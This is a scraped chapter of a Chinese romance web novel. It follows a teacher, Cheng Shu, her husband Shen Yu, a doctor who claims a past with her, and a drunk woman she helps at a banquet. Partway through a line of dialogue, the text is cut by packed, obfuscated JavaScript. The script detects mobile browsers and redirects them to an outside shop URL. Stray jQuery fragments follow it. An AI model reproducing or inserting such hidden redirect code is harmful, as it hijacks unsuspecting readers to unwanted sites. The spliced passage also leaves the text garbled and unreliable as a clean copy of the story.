文趣网 > 其他小说 > 暗火[先婚后爱] > 18. 我们还有很多时间
    程舒的表情渐渐冷了下来,起身,“孟医生,你越界了。”

    孟昭晏坐在长椅上,漫不经心地点头,“小舒又要和我玩医生和老师保持距离的游戏啊”他皱了下鼻子摇头,“不好玩,你以前都是叫我阿晏的。”

    “你忘了我们在科莫多的海滩,看到了橘子海,你和我说,那是你这辈子最开心的时刻。”

    “你还说……”孟昭晏探出指尖要去勾她的手,“阿晏,如果能一辈子停在此刻就好了。这些话,你有对他说过吗?”

    “没有,对吗?”孟昭晏看她蹙眉的模样,笃定地笑道,“你只对我一个人说过。”

    他毫无顾忌地和她十指相扣,程舒想要后退,孟昭晏却适时看向不远处,拔高声量,“咦?学长怎么在这?”

    他咧开唇,露出两颗犬牙尖,笑容可掬。

    程舒身体一僵,回过头,正对上一双幽深的眸子。

    沈豫瞥了眼两人相握的手,孟昭晏‘后知后觉’地松开,‘避嫌’一般后退一步。

    “程老师心情不好,我来陪陪她,学长别误会。”

    沈豫双手压住外套披在她肩头。

    随着男人身体的靠近,程舒肩头随之一震,胡乱地说了句“谢谢”。

    孟昭晏歪头,有点委屈,“程老师刚刚怎么不谢谢我?”

    “够了,别再说了。”程舒恨恨打断孟昭晏的话,她一向温良,好像对这孟昭晏总是忍不住撒火。她不安地看向眼神复杂的沈豫,下意识想逃。

    “我休息好了,可以回去了。”

    沈豫点点头,脚尖转动时,孟朝晏一改之前的态度,语气凉凉:“沈总原来有当老鼠的爱好啊。”

    从他来到花房的那一刻,孟昭晏便知道他的存在。

    示威吗?

    “哦。”孟昭晏恍然大悟,“确实,沈总一直以来都有偷东西的习惯,把别人心爱的事物据为己有。”

    沈豫勾起唇,“偷?”,他可不这么认为,“和我结婚是小舒自己的选择,要怪就怪你当初没本事,不能把她留在身边。”

    “可她根本不爱你。”

    “那又如何?”沈豫心中钝痛,可这也说明,他有资格去痛,“她是我妻子,就算现在不爱,以后总会爱上我,我们有很多时间,慢慢培养感情——孟医生平时工作很闲吗?对别人的太太,未免太过上心。”

    “职业病。”孟昭晏收起方才的情绪,嗤笑一声,将外套搭在臂弯,“看到程老师这样美好的人,活在痛苦之中,忍不住心疼。”

    “如果真的是为她好,就放她离开。”

    沈豫没再理会他的废话。

    哪怕再疼,哪怕这辈子都不会对他敞开心扉。

    他都不会放她走。

    *

    “小心!”

    程舒披着衣服走到拐角处,侍者端着托盘迎面撞上她,香槟撒在她胸口的的位置。

    “对不起小姐!”侍者忙不迭为她擦拭,慌乱不已,程舒接过纸巾,安慰地朝她笑了笑,“没关系,我去洗手间处理一下就好。”

    “我带您去更换一件。”侍者不安地说。

    程舒摆摆手,走进洗手间,她沾了些水清洗酒渍,身后有人出来,试探地朝她喊:“小…舒?”

    妆容明艳的女人手撑着洗漱台,身子贴向她,浑身溢满酒香。

    她的腮边泛起红晕,好在眼神还算清明,盯着程舒的眼睛,“我认识你,你是沈豫的……爱人。”

    她说完这个字眼,没忍住扶着鼻尖轻笑。

    “你好啊小朋友,我叫温知念。”她伸出手。

    小朋友?

    程舒惊讶于这个和她完全不搭的词汇,但还是礼貌性回握,温知念却一个不稳,柔软的身体前扑,手肘环着她,搭靠在程舒肩头。

    “温小姐,你没事吧。”程舒扶着她的腰,很是担忧,“需要我给你倒点水吗?”

    她扶着水池一阵干呕,程舒拍着她的后背,“温小姐?温小姐?”

    温知念用清水拍了拍脸,瞬间清醒了些,捂着胃皱了皱眉,却还是说:“我没事,就是有点吃多了,能扶我回包厢吗?”

    程舒没有听她的话,将她扶到隔壁无人的包间,拉开椅子放她坐下,“你在这等我。”

    随后找方才的侍者要了一杯水,蹲下来看她的情况,“胃不舒服,是吗?”

    温知念接过水苦笑了一下,程舒方才从从包里拿出一瓶奥美拉挫,倒出来两颗。

    “把这个喝了。”递给她,又嘱咐说:“胃不舒服就不要再喝酒了。”

    温知念看着眼前眉头紧皱,一脸严肃的女孩,愣了愣。沈豫说,程舒是高中教师,她见过这个小姑娘,印象中乖乖的,当老师一定是会被学生欺负的软柿子。

    但现在看来,她想错了,程舒说话时确实很有‘老师’训学生的威压。

    温知念就着她的手吃药,温水入腹后热热的暖意让她的痛感缓解了不少。

    程舒接过水杯,想要再去给她倒一杯。

    温知念却拉住她的领口,低头凑近。

    程舒不习惯和人亲近,下意识往后退,温知念看到她胸口的酒渍,从包里掏出一条丝巾,往后绕过,给她系上。

    “谢谢啊……”程舒不自然地说。

    “宝贝。”温知念手捏着丝巾,盯着她的眼睛,明媚的五官漾起魅惑的笑,“你怎么这么乖啊?”

    难怪沈豫那块石头可以惦记这么多年。

    宝贝?

    虽然办公室里的同事间总会如此称呼彼此,但程舒还是很不习惯,“那边快要散场了,你不舒服的话,我先送你回家。”

    程舒扶着温知念起身,两人走到包厢外,恰好碰见散场的人群。

    盛青书挑眉惊讶:“温大小姐这是怎么了?一会不见,已经面若桃花了。”

    温知念强打起精神笑道:“托盛老板的福,酒比

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674092|207041||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    腮红更上妆。”

    “那我该向你好好赔罪才是。”盛青书凑近温知念耳边,低声悄语,“我送你?”

    温知念弯着眸,眼底没有丝毫笑意,却还是欣然接受,正要挽上他的手臂时,程舒锢住她的腰,开口:“温小姐不是说……和我一起吗?”

    她面带歉疚,“不好意思,盛董,我和温小姐很是合得来,她送我了丝巾,我们还约了一起去逛街。”

    温知念迎上程舒安静地眼眸,瞳仁微动,搂住程舒的脖子,亲昵道:“今晚是姐妹局,sorry啦盛老板。”

    盛青书眼中的笑意复杂,“那我就不打扰两位美丽的女士了。”

    *

    沈豫开过车,眼看温知念昏昏沉沉地靠在程舒肩头,刚想要问情况。

    程舒打开车门将她扶进去,“先送她回酒店。”

    车上温知念一会清醒一会迷糊,坐不稳,程舒只好扶着她的肩膀让她躺在自己怀里,低头替她拨弄蒙在脸上的发丝。

    送温知念回酒店后,车内两人陷入诡异的沉默。

    沈豫看着后视镜,良久,才找到话题道:“你们怎么会在一起?”

    “嗯。”摸着胸口的丝巾,“凑巧遇到。”

    沈豫不知意味道:“程老师对陌生人都这么好。”

    程舒静默了片刻,抬眼,对上他后视镜的目光,“你不该让她喝这么多酒。”

    “我?”

    “一个女孩子在外喝醉酒很危险。”

    沈豫拧眉,他认同,但不解,“她是成年人,能走到这个位置,行事有自己的风格和判断。”

    “如果她不愿意,作为同事我会想办法帮她解围,但若是她自己选择的事情,我没有权利去干涉。”

    “可她不止是同事,不是吗?”程舒的语气微冷,“既然是你带她出来,那就应该负责起她的安危。”

    程舒不是傻子,会看不出来盛青书的意图,职场上很多微妙的东西她都清楚,只是懒得多费心思。

    可沈豫看来,先不说并非他带她来参加宴会,且论温知念和盛青书的私交,远比他所了解的要复杂。

    “我不可能时时刻刻去替别人善后。”沈豫理性道。

    气氛有些别扭,沈豫不想再继续这个话题,压抑了一整路,他其实一直有个问题,想要问她。

    “你能对第一次认识的陌生人有如此多善意,为什么从来都没有这样关心过我?”

    程舒不能理解,“可是,你看上去很好啊。”

    沈豫猛踩刹车,拉起手刹,绷着下颌看她。

    程舒被安全带勒的有些难受,回过头“沈豫?”

    才看到沈豫眼角微红。

    “你分明没有仔细看过我,怎么会知道我很好。”

    “你……今天怎么了?”

    沈豫看向面对自己总是胆怯退缩的妻子,扬起一抹苦涩的笑。

    “科莫多的夕阳,漂亮吗?”